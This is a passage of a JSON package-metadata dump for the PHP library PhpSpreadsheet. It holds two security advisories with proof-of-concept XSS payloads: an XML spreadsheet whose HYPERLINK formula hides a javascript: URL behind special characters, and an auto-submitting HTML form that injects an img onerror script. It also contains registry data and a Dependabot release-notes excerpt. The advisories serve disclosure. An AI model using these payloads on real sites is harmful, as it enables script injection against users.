with special characters and generates an HTML link\n**Impact:** executing arbitrary JavaScript code in the browser\n**Vulnerable component:** class `PhpOffice\\PhpSpreadsheet\\Writer\\Html`, method `generateRow`\n**Exploitation conditions:** a user viewing a specially generated xml file\n**Mitigation:** additional sanitization of special characters in a string\n**Researcher: Igor Sak-Sakovskiy (Positive Technologies)**\n\n# Research\n\nThe researcher discovered zero-day vulnerability Bypass XSS sanitizer using the javascript protocol and special characters in Phpspreadsheet.\nThe following code is written on the server, which translates the XML file into an HTML representation and displays it in the response.\n\n*Listing 4. Source code on the server*\n\n```\n\u003c?php\n\nrequire __DIR__ . '/vendor/autoload.php';\n\n$inputFileType = 'Xml';\n$reader = \\PhpOffice\\PhpSpreadsheet\\IOFactory::createReader($inputFileType);  \n\n$inputFileName = './doc/file.xml';\n$spreadsheet = $reader-\u003eload($inputFileName); \n \n$writer = new \\PhpOffice\\PhpSpreadsheet\\Writer\\Html($spreadsheet); \nprint($writer-\u003egenerateHTMLAll());\n```\nThe contents of the xml file - `./doc/file.xml`\n\n*Listing 5. The contents of the xml file*\n```\n\u003c?xml version=\"1.0\"?\u003e \n\u003c?mso-application progid=\"Excel.Sheet\"?\u003e \n\u003cWorkbook xmlns=\"urn:schemas-microsoft-com:office:spreadsheet\" \n xmlns:o=\"urn:schemas-microsoft-com:office:office\" \n xmlns:x=\"urn:schemas-microsoft-com:office:excel\" \n xmlns:ss=\"urn:schemas-microsoft-com:office:spreadsheet\" \n xmlns:html=\"http://www.w3.org/TR/REC-html40\"\u003e \n \u003cDocumentProperties xmlns=\"urn:schemas-microsoft-com:office:office\"\u003e \n  \u003cAuthor\u003eauthor\u003c/Author\u003e \n  \u003cLastAuthor\u003eauthor\u003c/LastAuthor\u003e \n  \u003cCreated\u003e2015-06-05T18:19:34Z\u003c/Created\u003e \n  \u003cLastSaved\u003e2024-12-25T10:16:07Z\u003c/LastSaved\u003e \n  \u003cVersion\u003e16.00\u003c/Version\u003e \n \u003c/DocumentProperties\u003e \n \u003cOfficeDocumentSettings xmlns=\"urn:schemas-microsoft-com:office:office\"\u003e \n  \u003cAllowPNG/\u003e \n \u003c/OfficeDocumentSettings\u003e \n \u003cExcelWorkbook xmlns=\"urn:schemas-microsoft-com:office:excel\"\u003e \n  \u003cWindowHeight\u003e11020\u003c/WindowHeight\u003e \n  \u003cWindowWidth\u003e19420\u003c/WindowWidth\u003e \n  \u003cWindowTopX\u003e32767\u003c/WindowTopX\u003e \n  \u003cWindowTopY\u003e32767\u003c/WindowTopY\u003e \n  \u003cProtectStructure\u003eFalse\u003c/ProtectStructure\u003e \n  \u003cProtectWindows\u003eFalse\u003c/ProtectWindows\u003e \n \u003c/ExcelWorkbook\u003e \n \u003cStyles\u003e \n  \u003cStyle ss:ID=\"Default\" ss:Name=\"Normal\"\u003e \n   \u003cAlignment ss:Vertical=\"Bottom\"/\u003e \n   \u003cBorders/\u003e \n   \u003cFont ss:FontName=\"Calibri\" x:Family=\"Swiss\" ss:Size=\"11\" ss:Color=\"#000000\"/\u003e \n   \u003cInterior/\u003e \n   \u003cNumberFormat/\u003e \n   \u003cProtection/\u003e \n  \u003c/Style\u003e \n  \u003cStyle ss:ID=\"s16\"\u003e \n   \u003cNumberFormat ss:Format=\"General Date\"/\u003e \n  \u003c/Style\u003e \n \u003c/Styles\u003e \n \u003cWorksheet ss:Name=\"Лист1\"\u003e \n  \u003cTable ss:ExpandedColumnCount=\"2\" ss:ExpandedRowCount=\"6\" x:FullColumns=\"1\" \n   x:FullRows=\"1\" ss:DefaultRowHeight=\"14.5\"\u003e \n   \u003cColumn ss:AutoFitWidth=\"0\" ss:Width=\"194\"/\u003e \n   \u003cRow\u003e \n     \u003cCell ss:Formula=\"=HYPERLINK (CHAR(20) \u0026amp; \u0026quot;j\u0026quot; \u0026amp; CHAR(13) \u0026amp; \u0026quot;avascript:alert(1)\u0026quot;)\"\u003e\u003cData ss:Type=\"String\"\u003e\u003c/Data\u003e\u003c/Cell\u003e \n   \u003c/Row\u003e \n  \u003c/Table\u003e \n  \u003cWorksheetOptions xmlns=\"urn:schemas-microsoft-com:office:excel\"\u003e \n   \u003cPageSetup\u003e \n    \u003cHeader x:Margin=\"0.3\"/\u003e \n    \u003cFooter x:Margin=\"0.3\"/\u003e \n    \u003cPageMargins x:Bottom=\"0.75\" x:Left=\"0.7\" x:Right=\"0.7\" x:Top=\"0.75\"/\u003e \n   \u003c/PageSetup\u003e \n   \u003cSelected/\u003e \n   \u003cTopRowVisible\u003e1\u003c/TopRowVisible\u003e \n   \u003cPanes\u003e \n    \u003cPane\u003e \n     \u003cNumber\u003e3\u003c/Number\u003e \n     \u003cActiveRow\u003e6\u003c/ActiveRow\u003e \n    \u003c/Pane\u003e \n   \u003c/Panes\u003e \n   \u003cProtectObjects\u003eFalse\u003c/ProtectObjects\u003e \n   \u003cProtectScenarios\u003eFalse\u003c/ProtectScenarios\u003e \n  \u003c/WorksheetOptions\u003e \n \u003c/Worksheet\u003e\n\u003c/Workbook\u003e\n```\n\nDue to the load with a special character in front of the javascript protocol, the execution flow hits line 1595, not 1593.\n \n*Figure 4. Generating a link bypassing a regular expression*\n![fig4](https://github.com/user-attachments/assets/9bd2299d-9045-4cab-b3a5-cbcaf3bbe23c)\n\nIn the response from the server, you can see which special character is located in front of the javascript protocol after conversion.\n \n*Figure 5. Response from the server with a special character*\n![fig5](https://github.com/user-attachments/assets/3fecbd9b-b08e-4797-9f5d-06911f857059)\n\nWhen viewing the rendered result, a link becomes visible in the browser, and when clicked, the embedded JavaScript code will be executed.\n\n*Figure 6. Executing JavaScript code*\n\u003cimg width=\"595\" alt=\"fig6\" src=\"https://github.com/user-attachments/assets/b8ff1aeb-ba3b-49c1-a3b4-9e2cc1fc52d1\" /\u003e\n_____________________________________________\n\n## Credit\n\nIgor Sak-Sakovskiy (Positive Technologies)","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-02-03T15:39:31.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.8,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N","references":["https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-r57h-547h-w24f","https://github.com/PHPOffice/PhpSpreadsheet/commit/cde2926a9e2baf146783f8fd1771bbed7d1dc7b3","https://nvd.nist.gov/vuln/detail/CVE-2025-23210","https://github.com/advisories/GHSA-r57h-547h-w24f"],"source_kind":"github","identifiers":["GHSA-r57h-547h-w24f","CVE-2025-23210"],"repository_url":"https://github.com/PHPOffice/PhpSpreadsheet","blast_radius":20.654303696391597,"packages":[{"versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.8.2"}],"ecosystem":"packagist","package_name":"phpoffice/phpexcel"},{"versions":[{"first_patched_version":"2.1.8","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.1.8"},{"first_patched_version":"2.3.7","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.3.7"},{"first_patched_version":"1.29.9","vulnerable_version_range":"\u003c 1.29.9"},{"first_patched_version":"3.9.0","vulnerable_version_range":"\u003e= 3.0.0, \u003c 3.9.0"}],"ecosystem":"packagist","package_name":"phpoffice/phpspreadsheet"}],"created_at":"2025-02-03T16:09:04.846Z","updated_at":"2025-03-06T18:22:56.000Z","epss_percentage":0.00066,"epss_percentile":0.2085},{"uuid":"GSA_kwCzR0hTQS1qMnhnLWNqY3gtNDY3N84ABC8j","url":"https://github.com/advisories/GHSA-j2xg-cjcx-4677","title":"PhpSpreadsheet allows unauthorized Reflected XSS in Currency.php file","description":"# Unauthorized Reflected XSS in `Currency.php` file\n\n**Product**: Phpspreadsheet\n**Version**: version 3.6.0\n**CWE-ID**: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n**CVSS vector v.3.1**: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N)\n**CVSS vector v.4.0**: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L)\n**Description**: using the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php` script, an attacker can perform XSS-type attack\n**Impact**: executing arbitrary JavaScript code in the browser\n**Vulnerable component**: the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php` file\n**Exploitation conditions**: an unauthorized user\n**Mitigation**: sanitization of the `currency` variable\n**Researcher**: Aleksey Solovev (Positive Technologies)\n\n# Research\n\nThe researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in `Currency.php` file) in Phpspreadsheet.\n\nThere is no sanitization in the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php` file, which leads to the possibility of a XSS attack.\nStrings are formed using the `currency` parameter without sanitization, controlled by an attacker.\n\n![fig9](https://github.com/user-attachments/assets/dfac3fbf-de42-42af-8163-b76f0c54da6c)\n\n*Figure 9.  A fragment of the query in which a string and a parameter are formed without sanitization*\n\nAn attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario.\n\n*Listing 5. HTML form that demonstrates the exploitation of the XSS vulnerability*\n\n```\n\u003chtml\u003e\n  \u003c!-- CSRF PoC - generated by Burp Suite Professional --\u003e\n  \u003cbody\u003e\n    \u003cform action=\"https://192.***.***.***/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php\" method=\"POST\"\u003e\n      \u003cinput type=\"hidden\" name=\"number\" value=\"1234\u0026#46;5678\" /\u003e\n      \u003cinput type=\"hidden\" name=\"currency\" value=\"\u0026#36;\u0026apos;\u0026quot;\u0026lt;img\u0026#32;src\u0026#61;1\u0026#32;onerror\u0026#61;alert\u0026#40;\u0026#41;\u0026gt;\" /\u003e\n      \u003cinput type=\"hidden\" name=\"decimals\" value=\"2\" /\u003e\n      \u003cinput type=\"hidden\" name=\"position\" value=\"1\" /\u003e\n      \u003cinput type=\"hidden\" name=\"spacing\" value=\"0\" /\u003e\n      \u003cinput type=\"hidden\" name=\"submit\" value=\"Display\u0026#32;Mask\" /\u003e\n      \u003cinput type=\"submit\" value=\"Submit request\" /\u003e\n    \u003c/form\u003e\n    \u003cscript\u003e\n      history.pushState('', '', '/');\n      document.forms[0].submit();\n    \u003c/script\u003e\n  \u003c/body\u003e\n\u003c/html\u003e\n```\n\nAfter sending the script provided in Listing 5, the XSS vulnerability is exploited. Figure 10 shows the execution of arbitrary JavaScript code during the submission of a POST form. \n\n\u003cimg width=\"428\" alt=\"fig10\" src=\"https://github.com/user-attachments/assets/2be8c94b-03ac-40d9-aa7a-9d326eb79335\" /\u003e\n\n*Figure 10. Executing arbitrary JavaScript code*\n\n# Credit\nThis vulnerability was discovered by **Aleksey Solovev (Positive Technologies)**","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-01-03T17:06:51.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L","references":["https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-j2xg-cjcx-4677","https://github.com/PHPOffice/PhpSpreadsheet/commit/700a80346be269af668914172bc6f4521982d0b4","https://nvd.nist.gov/vuln/detail/CVE-2024-56409","https://github.com/advisories/GHSA-j2xg-cjcx-4677"],"source_kind":"github","identifiers":["GHSA-j2xg-cjcx-4677","CVE-2024-56409"],"repository_url":"https://github.com/PHPOffice/PhpSpreadsheet","blast_radius":35.71473347501047,"packages":[{"versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.8.2"}],"ecosystem":"packagist","package_name":"phpoffice/phpexcel"},{"versions":[{"first_patched_version":"2.3.5","vulnerable_version_range":"\u003e= 2.2.0, \u003c= 2.3.4"},{"first_patched_version":"2.1.6","vulnerable_version_range":"\u003e= 2.0.0, \u003c= 2.1.5"},{"first_patched_version":"1.29.7","vulnerable_version_range":"\u003c= 1.29.6"},{"first_patched_version":"3.7.0","vulnerable_version_range":"\u003e= 3.0.0, \u003c 3.7.0"}],"ecosystem":"packagist","package_name":"phpoffice/phpspreadsheet"}],"created_at":"2025-01-03T18:08:21.611Z","updated_at":"2025-06-03T01:08:15.978Z","epss_percentage":0.00028,"epss_percentile":0.06063}],"docker_usage_url":"https://docker.ecosyste.ms/usage/packagist/phpoffice/phpspreadsheet","docker_dependents_count":332,"docker_downloads_count":71943539,"usage_url":"https://repos.ecosyste.ms/usage/packagist/phpoffice/phpspreadsheet","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/packagist/phpoffice/phpspreadsheet/dependencies","status":null,"funding_links":[],"critical":true,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/packagist.org/packages/phpoffice%2Fphpspreadsheet/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/packagist.org/packages/phpoffice%2Fphpspreadsheet/version_numbers","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/packagist.org/packages/phpoffice%2Fphpspreadsheet/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/packagist.org/packages/phpoffice%2Fphpspreadsheet/related_packages","maintainers":[{"uuid":"PowerKiKi","login":"PowerKiKi","name":null,"email":null,"url":null,"packages_count":12,"html_url":"https://packagist.org/users/PowerKiKi","role":null,"created_at":"2022-11-10T10:42:33.267Z","updated_at":"2022-11-10T10:42:33.267Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/packagist.org/maintainers/PowerKiKi/packages"},{"uuid":"PHPOffice","login":"PHPOffice","name":null,"email":null,"url":null,"packages_count":18,"html_url":"https://packagist.org/users/PHPOffice","role":null,"created_at":"2022-11-10T10:42:33.262Z","updated_at":"2022-11-10T10:42:33.262Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/packagist.org/maintainers/PHPOffice/packages"},{"uuid":"Progi1984","login":"Progi1984","name":null,"email":null,"url":null,"packages_count":15,"html_url":"https://packagist.org/users/Progi1984","role":null,"created_at":"2022-11-10T10:42:33.264Z","updated_at":"2022-11-10T10:42:33.264Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/packagist.org/maintainers/Progi1984/packages"}],"registry":{"name":"packagist.org","url":"https://packagist.org","ecosystem":"packagist","default":true,"packages_count":457422,"maintainers_count":130144,"namespaces_count":155729,"keywords_count":138268,"github":"packagist","metadata":{"funded_packages_count":29639},"icon_url":"https://github.com/packagist.png","created_at":"2022-04-04T15:19:23.222Z","updated_at":"2025-06-06T05:10:12.193Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/packagist.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/packagist.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/packagist.org/namespaces"}},"unique_repositories_count":198,"unique_repositories_count_past_30_days":1,"recent_issues":[{"uuid":"4537279584","node_id":"PR_kwDOPzqJ_87gEmYB","number":422,"state":"closed","title":"build(deps): bump the composer group across 1 directory with 8 updates","user":"dependabot[bot]","labels":["dependencies","php"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-05-29T01:02:39.000Z","author_association":null,"state_reason":null,"created_at":"2026-05-28T02:40:10.000Z","updated_at":"2026-05-29T01:02:41.000Z","time_to_close":80549,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"build(deps): bump","group_name":"composer","update_count":8,"packages":[{"name":"phpoffice/phpspreadsheet","old_version":"4.5.0","new_version":"5.7.0","repository_url":"https://github.com/PHPOffice/PhpSpreadsheet"},{"name":"phpseclib/phpseclib","old_version":"3.0.50","new_version":"3.0.52","repository_url":"https://github.com/phpseclib/phpseclib"},{"name":"symfony/cache","old_version":"7.4.8","new_version":"7.4.13","repository_url":"https://github.com/symfony/cache"},{"name":"symfony/dom-crawler","old_version":"7.4.8","new_version":"7.4.12","repository_url":"https://github.com/symfony/dom-crawler"},{"name":"symfony/mailer","old_version":"6.4.34","new_version":"6.4.40","repository_url":"https://github.com/symfony/mailer"},{"name":"symfony/routing","old_version":"6.4.34","new_version":"6.4.41","repository_url":"https://github.com/symfony/routing"},{"name":"symfony/yaml","old_version":"7.4.8","new_version":"7.4.13","repository_url":"https://github.com/symfony/yaml"}],"path":null,"ecosystem":"packagist"},"body":"Bumps the composer group with 7 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [phpoffice/phpspreadsheet](https://github.com/PHPOffice/PhpSpreadsheet) | `4.5.0` | `5.7.0` |\n| [phpseclib/phpseclib](https://github.com/phpseclib/phpseclib) | `3.0.50` | `3.0.52` |\n| [symfony/cache](https://github.com/symfony/cache) | `7.4.8` | `7.4.13` |\n| [symfony/dom-crawler](https://github.com/symfony/dom-crawler) | `7.4.8` | `7.4.12` |\n| [symfony/mailer](https://github.com/symfony/mailer) | `6.4.34` | `6.4.40` |\n| [symfony/routing](https://github.com/symfony/routing) | `6.4.34` | `6.4.41` |\n| [symfony/yaml](https://github.com/symfony/yaml) | `7.4.8` | `7.4.13` |\n\n\nUpdates `phpoffice/phpspreadsheet` from 4.5.0 to 5.7.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/releases\"\u003ephpoffice/phpspreadsheet's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e5.7.0\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSecurity patches.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e5.6.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eMake Reader/Csv Extendable, add new preferred Reader/CsvNoEscape class. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4836\"\u003e#4836\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4836\"\u003ePHPOffice/PhpSpreadsheet#4836\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4837\"\u003e#4837\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4837\"\u003ePHPOffice/PhpSpreadsheet#4837\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4845\"\u003e#4845\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4845\"\u003ePHPOffice/PhpSpreadsheet#4845\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXLOOKUP function. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1453\"\u003e#1453\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1453\"\u003ePHPOffice/PhpSpreadsheet#1453\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4844\"\u003e#4844\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4844\"\u003ePHPOffice/PhpSpreadsheet#4844\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eIntroduction of a benchmark test suite, independent of the default unit test suite. Users can use it as a template for experimenting and making decisions concerning performance. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4824\"\u003e#4824\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4824\"\u003ePHPOffice/PhpSpreadsheet#4824\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCollection/Cells::MAX_COLUMN_ID - use Cell/AddressRange::MAX_COLUMN_INT.\u003c/li\u003e\n\u003cli\u003eWriter/Xls/Worksheet constants MAX_XLS_COLUMN, MAX_XLS_COLUMN_STRING, MAX_XLS_ROW - use Cell/AddressRange MAX_COLUMN_INT_XLS, MAX_COLUMN_XLS, MAX_ROW_XLS\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eConsistent handling of row and column limits. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4820\"\u003e#4820\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4820\"\u003ePHPOffice/PhpSpreadsheet#4820\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eProblems with Html Conditional Formatting Colorscale. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4838\"\u003e#4838\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4838\"\u003ePHPOffice/PhpSpreadsheet#4838\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4839\"\u003e#4839\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4839\"\u003ePHPOffice/PhpSpreadsheet#4839\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed an issue where Date detection could misclassify invalid numeric values as dates. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4841\"\u003e#4841\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4841\"\u003ePHPOffice/PhpSpreadsheet#4841\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOds Reader/Writer Integer Styles with Leading Zeros. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1606\"\u003e#1606\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1606\"\u003ePHPOffice/PhpSpreadsheet#1606\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4822\"\u003e#4822\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4822\"\u003ePHPOffice/PhpSpreadsheet#4822\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXlsx Writer Data URI for Images. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4823\"\u003e#4823\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4823\"\u003ePHPOffice/PhpSpreadsheet#4823\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4831\"\u003e#4831\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4831\"\u003ePHPOffice/PhpSpreadsheet#4831\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eConfusion Checking for Union Arguments. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4832\"\u003e#4832\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4832\"\u003ePHPOffice/PhpSpreadsheet#4832\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4835\"\u003e#4835\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4835\"\u003ePHPOffice/PhpSpreadsheet#4835\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReader Xlsx Hyperlink with Anchor. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4842\"\u003e#4842\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4842\"\u003ePHPOffice/PhpSpreadsheet#4842\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4843\"\u003e#4843\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4843\"\u003ePHPOffice/PhpSpreadsheet#4843\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e5.5.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eMuch improved handling of Styles by Ods Reader. The relevant changes are listed at the end of the \u0026quot;Fixed\u0026quot; section below.\u003c/li\u003e\n\u003cli\u003eOption to use OldCalculatedValue in ToArray and Relatives. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1810\"\u003e#1810\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1810\"\u003ePHPOffice/PhpSpreadsheet#1810\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4787\"\u003e#4787\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4787\"\u003ePHPOffice/PhpSpreadsheet#4787\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd checkbox style (Xlsx and Html). [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4781\"\u003e#4781\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4781\"\u003ePHPOffice/PhpSpreadsheet#4781\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOption to whitelist external images. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4793\"\u003e#4793\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4793\"\u003ePHPOffice/PhpSpreadsheet#4793\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eWriter/Html add ability to set line ending. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4779\"\u003e#4779\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4779\"\u003ePHPOffice/PhpSpreadsheet#4779\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eWriter/Html optionally save formulas as data attributes. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4783\"\u003e#4783\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4783\"\u003ePHPOffice/PhpSpreadsheet#4783\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUser-supplied headers and footers in PDF. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3159\"\u003e#3159\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3159\"\u003ePHPOffice/PhpSpreadsheet#3159\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4789\"\u003e#4789\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4789\"\u003ePHPOffice/PhpSpreadsheet#4789\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eWriter/Html constant BODY_LINE no longer makes sense with a configurable line ending. No replacement.\u003c/li\u003e\n\u003cli\u003eCalculation classes FormulaParser and FormulaToken are unused. No replacement.\u003c/li\u003e\n\u003cli\u003eWriter/Xls/Worksheet methods insertBitMap, positionImage, writeObjPicture, processBitmapGd, and processBitmap are unused. No replacement.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eImprove performance in value binders. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4780\"\u003e#4780\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4780\"\u003ePHPOffice/PhpSpreadsheet#4780\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eHandle Unions as Function Arguments. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4656\"\u003e#4656\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4656\"\u003ePHPOffice/PhpSpreadsheet#4656\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/316\"\u003e#316\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/316\"\u003ePHPOffice/PhpSpreadsheet#316\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/503\"\u003e#503\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/503\"\u003ePHPOffice/PhpSpreadsheet#503\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4657\"\u003e#4657\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4657\"\u003ePHPOffice/PhpSpreadsheet#4657\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUnexpected Behavior of CONCATENATE. [Issue \u003ca 